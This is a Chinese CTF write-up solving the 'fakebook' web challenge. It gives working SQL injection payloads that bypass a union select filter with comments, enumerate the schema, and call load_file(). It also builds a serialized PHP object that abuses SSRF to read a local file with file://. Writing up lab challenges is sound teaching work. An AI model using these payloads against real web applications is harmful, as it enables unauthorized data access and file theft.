来到首页先创建了一个用户
点击自己创建的用户admin:
发现url 疑似有sql注入。
?n=1 and 1=1 正常回显
?n=1 and 1=2 回显异常(存在SQL注入)
?n=1 order by 1# 正常回显
?n=1 order by 2# 正常回显
?n=1 order by 3# 正常回显
?n=1 order by 4# 正常回显
?n=1 order by 5# 回显异常(判断存在4个字段)
直接联合查询,发现 union select被过滤掉了
绕过过滤有挺多方法的 这里:SQL注入绕过关键词
我使用注释符绕过:union/**/select
?no=-1 union/**/select 1,database(),3,4# (查数据库) 发现 'fakebook'
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'# (查表名) 发现'users'
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'# (查字段) 字段名'no,username,data'
因为no(类似id号),username,passwd都是已知的,所以我们查询data
?no=-1 union/**/select 1,data,3,4 from users# 查询data的结果
好像是考察反序列化的题。。但是没有源码。。我看了下其他师傅的wp,扫下路径可以扫出flag.php和robots.txt
但是flag.php没有内容(盲猜 flag在这个文件里)。
打开robots.txt看看
发现
User-agent: *
Disallow: /user.php.bak
那就访问一下/user.php.bak
emmmm。。开始代码审计
先从这里看
这个地方是直接吧blog当作参数传给get()函数,url没有经过任何限制,是存在ssrf的。这个地方可以使用file:///var/www/html/flag.php读取flag.php,构造payload
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
然后在源代码里就能找到base64加密的Flag
还有一种方法,也是看到大佬的wp才知道的
直接在url里查看用户的权限
?no=0 /**/union /**/select 1,user(),3,4#
发现用户是root
就可以用load_file()构造语句直接查询 flag.php里面的内容
?no=0 union/ ** /select /**/1,load_file("/var/www/html/flag.php"),3,4#
查看源代码即可看到flag